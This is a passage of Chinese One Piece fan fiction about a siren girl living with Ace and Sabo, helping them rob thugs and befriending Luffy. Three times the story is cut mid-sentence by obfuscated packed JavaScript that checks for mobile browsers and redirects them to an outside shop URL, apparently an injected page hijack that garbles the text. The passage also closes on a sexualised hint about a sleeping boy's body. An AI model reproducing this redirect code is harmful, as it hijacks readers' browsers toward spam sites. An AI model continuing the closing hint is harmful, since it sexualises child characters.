刚想跳到路飞身边的我没料到会遭遇来自友方的“袭击”,被脚踝上往后拉扯的力道影响了平衡,整个人向后仰倒。 本来我还有机会补救这个失误,连衣裙却在此时倒扣下来罩住了我的脑袋,失去视野的我“嗙”一声撞上了崖壁。崖壁被我的脑袋撞裂,“噼里啪啦”掉下去不少碎石,我的额头上也鼓出了一个热气腾腾的大包。 “好痛!”我感觉有很多只小鸟在绕着我的脑袋鸣叫。 “嘻嘻嘻,对不起。”路飞的道歉毫无诚意。他缩短手臂把我拉上那根救了他的枯枝,歪着头疑惑地问:“莉莉,你怎么也被艾斯扔下来了?” “……”我是来救你的,笨蛋!我鼓起脸,心中依然谨记之前制定的方针——不和路飞说话。他的手是怎么回事,他也不是人类?啊,现在不能问,我要忍住。 路飞没有得到我的回应,呆呆地眨巴了两下眼睛:“你怎么不说话,是被吓坏了吗?”他把脸凑过来,板起脏兮兮的脸蛋作出一副很可靠的表情:“不用害怕,我可是很厉害的,一定能把你救出去!——唔,虽然暂时还没有想到办法。”说完又“嘻嘻嘻”地笑起来。 “……”你到底有没有搞清楚自己的处境?是你遇难了,不是我!不过不能再耽误下去了,艾斯发现我没跟上,一定会立刻回头找我。到时候我才是真的遇难了。 我揪住路飞的后领,腰身发力,一脚踢断了托着我和路飞的枯枝。在路飞的惊叫声中,我抽出背后的蝴蝶结钢管,插入崖壁中借力往上跃起,同时拔出钢管击打崖壁,调整落脚的方向。 枯枝和碎石落入溪水,溅起一团团沉闷的水花。我也在几个惊险的起落后将路飞带上了山谷。 我把路飞放下,他惊魂未定地坐倒在地。喘了几口气,路飞抬起脑袋,双眼放光地看向我:“哇,你好厉害!莉莉,你一定要当我的朋……” 我头也不回地跑了。 我已经离开艾斯的视线超过三分钟了,他绝对回头找过来了。 果不其然,我在距离吊桥不到二十米的山路上见到了黑着脸的艾斯。 “哥哥,快走快走,路飞又追过来了!”我装出着急的样子,跑过去拉住艾斯的手,拽着他的胳膊往前跑。 艾斯什么都没说,放任我把他拉着跑。 至于刚才掠过耳边的冷哼,我就当没听见好了。他又没有当场抓住我去帮路飞的罪证(得意叉腰)。 * 午后灿烂的阳光透过树顶投下一束束光斑,萨博坐在高高的树枝上晃着腿,黑色小礼帽上的防风镜亮堂堂地反着光。他俯身看向树下朝他走来的艾斯和我,龇着缺了一颗的牙齿笑:“今天也输给莉莉了呢,艾斯。” 艾斯迷惑地眨了眨眼睛,随即身体僵硬,一卡一顿地转头看向趴在他背上的我:“诶,什么时候!莉莉,你这个家伙是那种在不知不觉间爬到别人背上的妖怪吗?” 我嘿嘿直笑,朝萨博伸手:“接下来更换坐骑,哥哥抱我——” “说谁是坐骑啊!” 在艾斯恼火反驳的时候,萨博纵身落到我们身边,从艾斯背上把我接过去。 我搂住萨博的脖子,亲昵地和他蹭了蹭脸蛋,高兴地说:“我今天在达旦他们那里吃了超好吃的野牛肉哦。厨师先生说要把剩下的肉熏制成咸肉,做好了分我一半,因为我有努力帮忙。” “哇,莉莉真棒!”萨博很捧场地夸奖我,笑成一朵灿烂的太阳花。 艾斯用死鱼眼看着开始举起我转圈圈的萨博:“你到底哪里来的立场嘲笑我,萨博。” “啊,什么时候!”萨博脸上的笑容瞬间凝滞。萨博咳嗽了一声,若无其事地把我放下。他低头按住我的肩膀,似乎又要说什么让我不要老是撒娇的废话,目光却突然从我的眼睛移开,看向我的额头。萨博皱起了眉,把我额前的碎发拨开仔细查看:“莉莉,你的额头是怎么回事?” 额头?……啊,之前在崖壁上撞了个包来着。 艾斯抱着胳膊,在一旁凉凉地说:“被路边的野狗撞到了吧,毕竟是个笨蛋。” 我估计艾斯早发现了,只是一直没有告诉我。这件事是我不对,我本来就该贯彻自己的立场无视路飞。但,但是……完全是艾斯下手没轻没重,我害怕搞出人命才被迫帮忙的耶!我气鼓鼓地把脸偏开,愤愤道:“对,就是被野狗撞到了!” “痛吗?要不要先帮你处理一下?”萨博看了一眼艾斯,又看向我,温声问道。 “不用,一会儿就好了。”我不想再继续这个话题,起了个新的话头。“萨博,之前我和艾斯在酒馆里打听到的那件事有后续吗?” “我正要和你们说呢。”萨博牵住我的手,带着我迈步往前,向着不确定物终点站的方向走。 艾斯将钢管抗到肩膀上,双手一左一右挂住两端,姿态悠闲地走在我的另一边。 “那件事我已经掌握大致的情报了——那群小混混会在今天黄昏的时候进行交易。我找到了一个埋伏的地方,也搞清楚了他们的布防。等他们双方拿出货物和钱箱,就是我们行动的时候了!” 萨博和艾斯在我头顶上碰了一下拳,一齐发出肆意的笑声。 艾斯:“干完这一票,我们就可以买船了!” 萨博:“哈哈哈,终于等到这一天了!” 这两个被海贼游戏迷晕了头的笨蛋。就算买了船,我们三个小孩能顺利地操作船上的设备吗?我可没听过这里的船厂有卖给小孩使用的海贼船。还有卡普,他的行踪一向捉摸不定,总是从各种莫名其妙的地方突然跳出来。谁知道他会不会在我们出航的那天出现。对上他,船和我们都会没命的! 算了算了,想这么多有什么用,我又拦不住他们。大不了到时候就跟卡普说我是被他们俩劫持的,其实内心深处很想当海军好了。 * 大概是交易金额比较大的原因,混混们很重视这次交易。除了正在相互验货的两方小混混,交易现场还多了许多陌生的面孔。负责警备的人们隐藏在阴暗处,警惕地打量着每一个路过的人,神情紧绷目光凶恶。 萨博给我梳了可爱的双马尾,又整理了一下我身上的白色无袖连衣裙,拍打掉上面的尘土。他退后两步,摸着下巴端详我的模样,满意地对我比了个大拇指:“完美,世界第一可爱!” 艾斯抱着钢管靠墙而立,时不时探头观察交易现场的情况。他听见萨博的话,回头看了我一眼,用很随意的语气开口:“只限不说话不捣蛋的时候。” 知道啦知道啦,艾斯你也觉得我世界第一可爱。 萨博将装满海水的花皮球塞进我手里,拍了拍我的肩膀,在身后轻轻推了我一把:“去吧,莉莉。” 我顺势走出藏身处,把手背在身后对萨博和艾斯比了个“ok”的手势。 我在手上颠了两下花皮球,瞄准前方明显是个小头目的男人,将花皮球滚了出去。 交易现场的气氛顿时变得险恶起来。所有人都停下了动作,无言地盯着那个滚动的花皮球。 小头目发现滚过来的只是个花皮球后,凝重的脸色放松了一些。他抬起穿着黑色长靴的脚踩在花皮球上,阻止它的滚动,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“就是现在!” 我和萨博的声音同时响起。 冲出藏身处的萨博和艾斯宛如离弦的利箭,将浓白的雾气撕开一道裂口。他们举高手中的钢管,一左一右利落地击倒拎着钱箱和货箱的两个小混混,抢过他们手上的箱子。听见声音的其他小混混吼叫着围上来,在遮蔽视线的白雾中胡乱挥舞着武器,没有击中走位灵活的萨博和艾斯,倒是不停地痛殴友军。 一击得手,萨博和艾斯毫不恋战,拔腿就跑。我们虽然是不确定物终点站名声响亮的恶童,到底也只是三个小孩,正面对上数量众多的成人绝对不是明智之举。 我不怀好意地活动了一下手腕,对满脑门冷汗的小头目甜笑:“叔叔,刚才谢谢你的……” “麻烦借过!”萨博跳起来一脚踹上小头目的后脑勺,让他整个身体在空中不断旋转。 艾斯跳到小头目脆弱的肚子上,重重往下一蹬:“别挡道!” “咕呃!”小头目身体弯折,砸落地面,身周尘土飞扬。我看到他痛得眼珠子都快蹦出来了。 萨博和艾斯一只手拎着箱子,一只手拿着钢管,没有手来拉我,一叠声地催促我跟上,好像我是个傻子似的,他们不催我就不知道逃跑。 我脚步轻快地跑在最前面,迎着迅疾的风声抱怨:“你们怎么还带抢怪的,我都没来得及出手呢。” 萨博发出一阵开朗的笑声:“没关系,我已经记住他的脸了。下次带你去找那个人玩。” “……那倒也不用。”我还没有不讲理到抢了别人的东西还回头去揍人的地步。 “我也去!虽然莉莉这个家伙是个欠揍的笨蛋,但我绝对不允许别人对她出手!”艾斯凶恶地竖着眉毛,看起来一副余怒未消的模样。 “……”你们明明知道我没被打中吧,有什么好生气的?而且瞧不起谁啊,我有仇不会自己报吗! 16. 百合和选择 我们一口气跑到藏着海贼储备的大树下,打开了今天的收获。 货箱里装着包装奢华的卷烟,钱箱里则是一叠叠整齐的、散发着油墨味道的贝利。 “还以为是什么值钱的东西。”艾斯面露失望,随手把货箱推开。“有空扔回不确定物终点站吧。——萨博,你数清楚了吗,这次搞到了多少钱?” 萨博眉开眼笑地比出两根手指。 “二百万贝利!”艾斯的眼睛瞬间发光。 应该是很大一笔钱吧? 萨博和艾斯兴奋地讨论起海贼船的款式和售价,说他们辛辛苦苦攒了五年海贼储备,加上现在这笔钱,足够买到一艘小型的海贼船,实现他们梦想的第一步了。 我靠在萨博身边,困倦地打了个呵欠,在人型状态使用海水操纵术对体力的消耗很大。我也对他们讨论的事情不太感兴趣,不管是海贼的事还是海贼储备。 我对金钱一向没什么概念,来到这个世界后,货币变成了贝利,我更是陷入了完全的迷茫。毕竟我的衣食住行都不需要花费贝利,没有机会切身体验贝利的价值体系。 衣服方面:大部分是达旦一家给艾斯做衣服时顺手做的,用的都是便宜舒适的料子,大同小异的基础款,只有颜色和厚薄之分。小部分是萨博从镇上买来的漂亮小裙子。他在衣着搭配上有一种贵族式的审美,讲究得不太像成天混迹在垃圾场和山野的犯罪儿童。但是那种大夏天也要一件不落地穿着衬衫、马甲和外套,头戴小礼帽,脖子系领巾的穿衣风格,我个人是完全无法理解的,也拒绝萨博这样打扮我。笑话,谁会穿着那种布料上布满缎带、蝴蝶结和羽毛,装饰着层层叠叠的花边,裙摆有好几层、最里层还塞着裙撑的公主裙在森林里跑酷啊!作为一位森林、垃圾场、山贼窝来回跑的野生小女孩,我能同意穿上一条款式简洁的连衣裙就是对萨博最大的尊重了。 食物方面:基本来自大自然的馈赠,偶尔去镇上吃霸王餐。我看菜单只看菜名,从来不关注价格,反正也不会给钱。 住宿方面:纯天然无污染的山洞不需要缴纳物业费,也产生不了水电费、煤气费和网费之类的东西。家具是用不确定物终点站捡回来的材料自己做的,萨博和艾斯的动手能力很强,只要我画好设计图,讲清楚大致的结构和功能,他们都能给我做出来。 出行方面:靠双腿和羽翼。累的时候和不想动的时候轮流骑萨博和艾斯。 物质上不富裕,但仔细想想也不缺什么,该有的都有;精神上很充实,没有大人管束,每天锻炼自己、祸害别人,学习异世界有趣的知识,跟着哥哥们到处冒险…… 我希望我们永远都不要长大,像现在这样无拘无束、快乐自在地生活在一起。 但是萨博和艾斯的想法却和我相反,他们迫不及待地想要长大,离开这个丑恶的国家,去海上冒险,追寻自己的梦想——或是去探寻不同的风景,或是去获得最高的名声。 两个没有被现实社会毒打过的笨蛋,根本不知道童年时光有多宝贵。 意识越来越模糊,我揉着眼睛枕到萨博的腿上,打算小憩一会儿。萨博对艾斯比划了个“小声点”的动作,脱下外套盖住我的后背。 “哥哥,晚饭想吃烤鱼。”我含糊地呢喃。 “好哦。安心睡吧,莉莉。” 脑袋被轻柔地抚摸。 是我最初来到这个世界时,毫不迟疑地伸向我,温暖又粗糙的手。 * 干完一票大的,首先要做的是夹起尾巴做人,等风声过去。 这段时间我们都没有再去不确定物终点站,而是奔跑在山林间锻炼自身,挑战更大的野兽。 我以前一直以为戈尔波山的野兽比起原来世界的野兽在体型上只是大了一两倍,其实是错觉来着。越是深入戈尔波山深处,野兽的体型越大,危险程度也越高。这座山的所有生物都遵循着弱肉强食、胜者为王的生存准则,残酷险恶又生机勃勃。 去达旦一家蹭饭的时候,我偶尔会碰上路飞,他身上的伤从来没有好全过,不是额头上缠着绷带,就是手脚上缠着绷带,全身都缠满绷带的情况也出现过好几次。 艾斯恶狠狠地说这是路飞天天追着他跑的代价,然后又烦躁地抱怨路飞从来不懂得放弃,无论受了多重的伤,只要能爬起来奔跑,就会继续追逐在他的身后。 路飞的字典里好像没有“气馁”这个词,我每次见到他,他都是一副开开心心的模样,像个不知忧愁的小傻子。 今天的主菜是煎鱼排,食材用的是河鱼,刺比较多。我怕被鱼刺卡住喉咙,吃得很小心,不知不觉成了餐厅里的最后一名。 艾斯嫌路飞叽叽喳喳不停说话,吃完饭没等我,直接跑了,说自己要去洗澡。 路飞听了艾斯的话,眨巴了两下眼睛,没有跟上去,跑回我身边坐下。我不和他说话,他也不在意,自顾自地和我聊天。 “今天我遇到了像房子那么大的老虎和棕熊,差点被吃掉了,嘻嘻嘻。”路飞伸手比划出一个很大很大的形状,弯着眼睛看向我,“顺利逃跑后,天空上出现了一道五颜六色的彩虹,真好看。我躺在草地上看了好久好久。呐呐,莉莉,下次你和我一起去吧,我也想让你看漂亮的彩虹!” “……”我觉得你差点被吃掉这件事才是重点。我怀着对路飞的怜悯心,默默把我的那杯果汁推给他。 “哇,谢谢!莉莉你真是个大好人!”路飞惊喜地端起杯子。一口气喝完果汁后,他又笑嘻嘻地继续说:“食物还好,我能在森林里找蘑菇、青蛙、虫子和其他动物吃,但是只有白水可以喝。我好想喝玛琪诺店里的各种果汁和牛奶哦,嘿嘿。” 太可怜了……没吃没喝,又没人陪他玩,一个人孤独地追逐着艾斯,身上大伤小伤不断。我别开脑袋,不忍再看路飞灿烂的笑脸。我简直要为他的遭遇流眼泪了。 “啊,对了,莉莉,我有东西要给你。” 我不吃虫子!!!我想到上一次差点被路飞塞进我嘴里的肉虫子,顿时毛骨悚然,端着只剩配菜的盘子瞬间跑出三米远。奇怪,刚才盘子里还有很多鱼排,为什么现在只剩配菜了? 路飞“咚咚咚”地跑到楼上他和艾斯的房间,捧下来一束沾着露水的百合。 他把百合递给我:“你看,这是和你名字一样的花哦。” 我低头看着怀里找不出一朵完整百合、几乎每片花瓣上都带着伤痕的残破花束,心里情绪复杂。他自己能从危机四伏的戈尔波山囫囵回来就不错了,居然还想着采花送我。明明我一直都在无视他,从来不和他说话…… 真是个傻瓜。 下意识地,我张开嘴:“谢……” 不行!就算他是个傻瓜也不能和他说话!我立刻闭紧不受控制的嘴巴。 路飞“咕咚”一声咽下嘴里的食物,瞪圆了眼睛凑到我面前。我们之间的距离近到他头上的草帽帽檐都贴到了我的额头上。 “莉莉,你和我说话了?!” 完,完蛋,突然有种不妙的预感。 “嘻嘻。”路飞紧紧抓住我拿着花的双手,笑得嘴角都快咧到了耳朵根,“这就代表你愿意当我的朋友了,对吧,对吧,一定是这样的吧!这段时间我在森林里找到了好多有趣的地方,我要全部——都分享给你!” 喂,我只说了一个字! 换上白色睡袍的达旦横眉竖目地出现在门口,脱了鞋子砸过来,怒吼道:“吵死了臭小鬼,大晚上嚎什么!赶紧给我滚去洗澡睡觉!” 路飞被达旦的鞋子正中面门,仰头倒下。下一秒,他顶着红色的鞋印一个鲤鱼打挺翻身跃起,兴奋的情绪和高亢的音量丝毫没有受到影响:“达旦,莉莉刚才和我说话啦!” 达旦嘴角抽搐:“你这个家伙也太容易满足了吧。” 路飞双手抓住草帽的边缘,笑得更开心了。 “不是在夸你的意思!” 最糟的是——艾斯带着一身沐浴后的热气出现在了达旦身后。他一半的脸隐匿在达旦高大的阴影中,漆黑的瞳仁里明明映照着橙色的烛火,却让我感到了一丝寒意。 他是不是在心里叫我叛徒了?!我脑袋嗡嗡直响,喉咙像是被硬物哽住,一时间动弹不得。 路飞迈着快乐的脚步跑到艾斯身边,一边兴奋地比划一边大声道:“艾斯艾斯,我跟你讲,莉莉她啊……” 啊啊啊这个臭小鬼!!!!!!! “洗澡水放好了,过来洗澡。” “和我说话了!” 艾斯的声音和路飞的声音重叠在了一起。 诶?艾斯他……好像完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222170|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在意。路飞的声音比他刚才的声音大多了,他不可能没听见。 路飞摇晃着后退两步,随后满屋子乱蹿,抗拒地大叫:“我昨天已经洗过澡了!” “一身泥巴的臭小鬼少说废话!不许跑,小心我把你按进洗澡桶淹死啊混蛋!”达旦表情狰狞地追着路飞跑,终于在追逐到第五圈的时候把路飞逮住了,拎着路飞会变长的脸怒气冲冲地往浴室走。 路飞一路上都没有停止反抗,不停用他橡皮筋似的胳膊和腿脚抓抱能够触碰到的一切,把沿路的所有东西弄得一片狼藉。 “莉莉,你在发什么楞?”艾斯见我一直站着没动,迈步走向我,甜甜水蜜桃的味道由远到近。 闻着喜欢的味道,我突然间没有那么心慌了。眼睛在睫毛的遮挡下偷偷地看了看艾斯,我确定他脸上没什么生气的迹象,刚才似乎只是我的错觉。我小声替自己辩解:“我只是和路飞说了声‘谢谢’,他送了我花。” 艾斯垂眸瞅了一眼我怀里的百合花束,语气平淡地评价:“丑死了。” “是,是不太好看,但好歹是他的心意……啊,我也不是在说路飞的好话。”我把花束藏到身后,乱七八糟地说着话,自己也不知道自己想表达什么。“就是,那个……艾斯,我只是……” 在我的合理猜测中,卡普劈腿组建了两个家庭,艾斯和路飞分属这两个家庭。艾斯很小的时候,他那边的亲人就全都去世了,另一边的家庭拒绝养育他。卡普迫于无奈,才会把他寄养到达旦一家这里。在艾斯和山贼们一起生活,吃不饱穿不暖的时候,路飞正幸福快乐地生活在卡普的另一个家庭中,享受着全家的宠爱。 我曾处在类似的处境——突然冒出来的弟弟夺走了全家的注意,我变成了多余的那个孩子。有一次我们出去散步,弟弟拉着爸爸妈妈走在前方,一家三口亲密无间。我停住脚步,远远地望着他们。没有人发现我的消失,也没有人回头,仿佛我之前的人生都是一场幻梦。 那时候,我好希望有人能拉住我的手,告诉我他永远都会坚定地选择我。 眼泪突然大颗大颗地掉了下来。不知道为什么,来到异世界之后,我总是没办法控制自己的眼泪。我以前明明从来不会在人前哭泣。 朦胧的视野中,是艾斯慌张中带了点痴呆的表情。 “喂,我刚才说的是花丑!” 我知道啊,你到底有没有认真听我说话。眼泪来得快也去得快,毕竟已经是很久远的往事了。我因为艾斯白痴一样的表情笑起来,随手擦掉脸上的泪水,坚定真挚地对艾斯说:“我永远都站在艾斯这一边。艾斯不喜欢路飞的话,我绝对不和路飞交朋友!” 艾斯脸上的表情很复杂,茫然、担心、嫌弃、无奈,唯独没有感动。他迟疑地捧住我的脸,手指在触及到我脸上的泪痕时明显僵了一下。“莉莉,你仔细想想,今天是不是吃了什么奇怪的东西?” “……”不是,你给我感动一下!不要质疑人家的真心! 他盯着我的眼睛看了好一会儿,好像在确定什么,接着用不自然的轻柔声音开口:“要我帮你刷尾巴吗?” “诶——真的吗?”我顿时眼睛发亮,连忙点头答应。“好!” 双腿变成鱼尾之后,下半身的感觉变得很奇妙,套了一层紧身裤似的。尾巴上的鳞片有点像只有指甲盖的手指,它们拥有比皮肤模糊一些的触感,能够被我控制。在游泳的时候,我可以通过鳞片的开合和转向进行速度和方向上的微调。坚硬的鳞片也能提高尾巴的攻击力和防御力,我现在已经能够一尾巴拍昏个头和我差不多的大鱼了。 刷尾巴的感觉大概就跟给猫咪梳毛一样,可以有效地去除破损老化的鳞片,促进新鳞片的再生,像是给尾巴做按摩,是一项十分舒服的活动。但是刷尾巴真的好麻烦,需要耐心、细心和轻柔的手法。前面那两个东西我都没有,所以我从来不自己刷尾巴,一直都拜托萨博帮我。 咿,等,等一下!艾斯这个家伙有耐心、细心或者轻柔手法中的任何一个吗? 我弱小、无助又惊恐在洗澡盆里抱紧自己。 艾斯居高临下地俯视着我,顶灯落下的阴影让我看不清楚他的表情,只听得到他不耐烦的语气:“快点把尾巴变出来。” 他拿刷子的姿势怎么像拿杀鱼刀? 17. 尾巴和橡胶 男子浴室和女子浴室只有一墙之隔,薄薄的木板根本挡不住男子浴室那边的吵闹声。路飞从一开始的拼死抵抗逐渐变得乐在其中,在地板上“啪嗒啪嗒”地跑来跑去,引得达旦的音量节节升高。她愤怒地吼着“不许跑”、“给我好好把耳朵洗干净”“我要杀了你”之类的句子。 “那两个人在搞什么,吵死了。”艾斯随口抱怨了一句,蹲下来把手臂撑在洗澡盆边缘,支着下巴看向我。“你到底要不要我帮你刷尾巴,莉莉?” 齐平的视线让艾斯少了刚才那股压迫感。那双幼生猛兽般野性难驯的黑眸映照着昏黄的灯光,目光平静而温和,好像只要我伸出手,他就会低下头让我摸摸他半干半湿的卷曲黑发,在我的掌心下轻轻磨蹭脑袋。 “艾斯。”我被他这种温顺的样子骗到了,傻傻地凑到他跟前。 “啊?” “你好像一只大狗狗哦。”我对他伸出双手,想要如同脑子里想象的画面那样摸摸他的脑袋。 艾斯的眼睛瞬间变回了凶巴巴的形状。他举起握成拳头的右手,砸到我的脑袋上。 好痛!我被一拳砸进了洗澡水里,溅起一大片水花。好不容易挣扎着爬起来,我还没来得及甩掉满脸的水珠,脸颊就被艾斯一左一右扯住了。 他磨着牙阴森森地说:“我看你个头没怎么长,胆子倒是肥了不少。” “呜呜呜,哥哥我错了。” “也只有犯错的时候才会叫我‘哥哥’,别以为我每次都会放过你!” 艾斯继续扯我的脸,身体后方冒出了一团团乌漆嘛黑的鬼火。他怨念深重、一口气不带喘地开口:“一见到萨博那家伙,马上就把我忘到脑后,眼睛里只看得到他。我平时是没有给你糖吃吗?还是比萨博少抱你背你了?天天和我对着干,冬天往我衣服里塞雪团,夏天骗我去捅马蜂窝,只有嘴馋了才愿意和我一起回来……养不熟的臭丫头!” 啊啊啊啊你抱怨归抱怨,别越来越用力,脸,脸要被扯下来了!我只是想摸摸你的狗头,我做错了什么!我脸上虚假的乖巧表情裂成两半,变换成气急败坏的怒容。 双腿倏然化为鱼尾,我用强健有力的尾巴在洗澡盆底部借力跃起,扑过去揪住艾斯的头发,一边奋力反击,一边口齿不清地大声反驳:“我为什么更喜欢萨博你心里没数吗!萨博才不会像你一样老是扯我的脸呢!我承认我一直和你对着干,那又怎么样,你也没少欺负我!前几天是谁扯了我的羽毛拿来做扇子!动不动就凶我揍我,还老是受伤让我担心!在哥哥的等级上你是最低的那一档,连萨博的一半都比不过!” 我们在湿漉漉的地板上滚作一团,一边互相揭短翻旧账,一边试图把对方压在身下。凳子和架子不断被我们撞倒,砸下来一堆乱七八糟的东西。 达旦重重地捶了一下墙壁,震得天花板上的顶灯猛烈摇晃。 “喂,隔壁的臭小子疯丫头,你们闹得太过火了!” “艾斯,莉莉,你们是在打架吗?嘻嘻嘻,我也想一起玩。”路飞的脑袋从墙壁最顶端的透气孔钻了出来。“嘿咻——” 艾斯在听到路飞说话的时候就露出了不妙的神色,他反应极快地挣脱我的手,利落地把我塞进洗澡盆。路飞看过来的瞬间,艾斯张开双臂隔绝了路飞的视线,把我严严实实地挡在身后。 我缩着鱼尾老实地躲着,大气都不敢出。用脚指头想都知道,一旦被路飞看到我的尾巴,他绝对会在下一秒嚷嚷得整个戈尔波山都反复回荡着他的声音。 “路飞——我说过不要乱跑吧!”达旦咬牙切齿地叫着路飞的名字,把他的脑袋从透气孔里猛地拽了出去。 路飞的惨叫声从隔壁传来。 我仰面倒进洗澡水里,在摇晃的水波中吐出一长串泡泡。 好险,差点莫名其妙暴露了身份。 澡盆外的艾斯愤愤地吐了一口气,似乎把自己的衣服脱了。我听见了湿哒哒的衣料落地的声音,还有他压低声音的咒骂。 “可恶!混账!我迟早……” 我从澡盆边缘探出半个脑袋,只露出眼睛用来观察他的神情,心虚又故作镇定:“水蜜桃味的沐浴露摔坏没有,我要用那个刷尾巴。” 呜哇,艾斯看过来的眼神超凶! 我“噗通”一声把脑袋缩回了洗澡水里。 艾斯按着胸口做了好几个深呼吸,他在一片狼藉的地板上找到那瓶粉色包装的沐浴露,又捡起不知道被谁撞到墙角的刷子,抬脚踹了一下我的洗澡盆:“喂,把尾巴伸出来。” 我犹犹豫豫地伸出尾巴,趴在另一侧的澡盆边缘,不放心地扭着身子监视他的动作:“不要太用力哦。” 他横了我一眼,冷声说:“我知道。” “鳞片边缘也要刷。” “鱼鳍不能用刷子,要用毛巾擦洗。” “痛痛痛,你有知道的样子吗!” 艾斯放轻了力度,但是不看我也不和我说话,只闷头刷我的尾巴。 我看他手背上的青筋隐隐在跳动,不敢再随便说话,免得又被揍得满头包,干脆转回身子望向窗户,盯着外面的月亮和星星看。 尾巴被刷得很舒服,我又不能真像猫咪一样咕噜咕噜地叫,就开始随意地哼歌。 是一部动画片的片尾曲。 “月光,把天空照亮,洒下一片光芒点缀海洋。 每当流星从天而降,心中的梦想都随风飘扬。 展开透明翅膀跃出天窗,找寻一个最美丽的希望。 每当天空泛起彩色霞光,带着回忆和幻想一起飞翔。 啦啦啦啦……” 歌词很短,只有两分钟。 我唱完第一遍,满意地回味了几秒,为自己空灵纯净的嗓音感到自豪。毕竟是用歌声魅惑水手的塞壬嘛。 连隔壁闹腾得不轻的达旦和路飞都没了声音,好像在专心听我唱歌。 我开始唱第二遍。 在唱到“展开透明翅膀”这句歌词时,我伸展开一直藏在肩胛骨中的羽翼,产生了一种振翅高飞的冲动。 我想要掠过黑暗的树梢,沐浴在银色的月光下,向着天空的尽头飞翔。在稀薄的云层中穿梭,和星辰并肩。 天空无边无际,我可以去任何地方,也可以在任何地方降落。 我才不要一直隐藏自己! 总有一天,我会以塞壬的形态,随心所欲、无拘无束地在天空和大海中尽情翱翔! * 艾斯给我刷好尾巴后,我们俩又分开洗了个澡,因为刚才在地上滚来滚去地打架,全身都弄得脏兮兮的。要不是我及时拿出了之前抢到的高级卷烟贿赂达旦,我们还要被她压着收拾那两间狼藉不堪的浴室。 达旦见到箱子里的卷烟,眼睛都直了:“这些可是上等的高级货,有钱都不一定买得到!” “你喜欢就好,达旦。不过不能在我和艾斯,啊,还有路飞面前抽哦。二手烟会污染小孩子的心灵,让他们变成性格恶劣的坏孩子。”我把手背在身后,认真地对着达旦胡说八道。 “还有这种说法吗?”达旦从对香烟的情迷意乱中清醒过来,一脸嫌弃地低头打量艾斯。“难怪这家伙从小就一身臭毛病。” 我捂住嘴,把脸侧到一边闷笑。 艾斯默默举起拳头,给我后脑勺来了一下。 念及他刚给我刷了尾巴,我忍了。我努力维持住甜甜的笑容:“那我和艾斯去睡觉了哦,晚安,达旦。” “去吧去吧。”达旦随意地挥了挥手,颇有些自暴自弃的模样。“反正也不是第一天给你们这群小混蛋收拾烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222171|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊子了。” 回到房间,地上已经铺好了三床被褥。 路飞躺在外侧的那床被褥上,睡得人事不知。 我打了个呵欠,爬进最里侧的那床粉色被褥,抱住我从家里带来的小熊玩偶——这是萨博送我的“1岁”生日礼物。我给自己掖好被角,困倦地闭上眼睛:“晚安,笨蛋哥哥。” “晚安。”艾斯的语气一点都不友好,“白痴妹妹。” 喂,我都在没犯错的情况下叫你哥哥了,你就不能好声好气地回应我吗!我勒住小熊的脖子,气鼓鼓地在它耳朵上咬了一口。 没过一会儿,灯光熄灭了,房间陷入黑暗之中。左边的被褥传来窸窸窣窣的声音,艾斯也躺下睡觉了。 * 半夜,我被饿醒了。 我记得晚饭的时候,我给自己盛了满满一大盘鱼排来着……虽然缺失了把它们吃掉的记忆,大概是我吃饭的时候分心了吧。按理来说不应该啊。我捂着自己咕咕乱叫的肚子,在被窝里滚了几圈,犹豫要不要去厨房找吃的。 困,不太想动,但是饿…… 我最后还是没耐得住饿,悄咪咪地爬出被窝,打算给自己安排一顿宵夜。路过艾斯的时候,我差点被他踢到过道的被子绊倒。惊险地站稳后,我鼓着脸给他重新盖上被子,继续蹑手蹑脚地前进,然后一脚踩上了属于路飞的那床被子。 这一次我就没有那么幸运了,狠狠摔了一跤。 他们怎么回事,都不好好盖被子是吧! 好在艾斯和路飞的睡眠质量都挺高,听见我摔倒的声音毫无反应,路飞鼻子上的睡眠泡泡都没有破。 我无声无息地趴了一会儿,等到眼睛彻底适应夜晚的黑暗环境,能够比较清楚地视物后才从地板上爬起来。我把被子盖到路飞身上,蹲在他身边戳了戳他的脸。触感非常神奇,软绵绵滑溜溜的,还带着一种柔韧的弹性。我回头张望了一下艾斯的方向,确认他仍旧在呼呼大睡,大着胆子捏住路飞的脸往外拉扯。 哦——能扯这么长吗!他到底是什么种族?我把手放开,路飞的脸“啪嗒”一声弹回去,恢复成原样。他都不会痛吗,连眉头都没皱一下。我心里的好奇像是小猫在抓,但是又不能直接和路飞说话,让他解答我的疑惑。 肚子又咕噜噜地叫了好几声,似乎在催促我找点东西来填饱它。 难得有机会好好研究路飞的身体,我不怎么想错过。于是我忍着饥饿,抓住路飞的手掌,试探性地挨个拉扯他的手指。见他没有反应,我又加大了力道去扯他的胳膊。我之前见过他把胳膊伸长到五六米的样子。 好好玩!他身体的所有部位都跟皮筋似的,能够任意拉长、弯曲,而且他本人完全没有感觉!emmm,也不是所有部位。 我把目光看向路飞的腰部以下。 那个地方是不是也可以伸长呢? 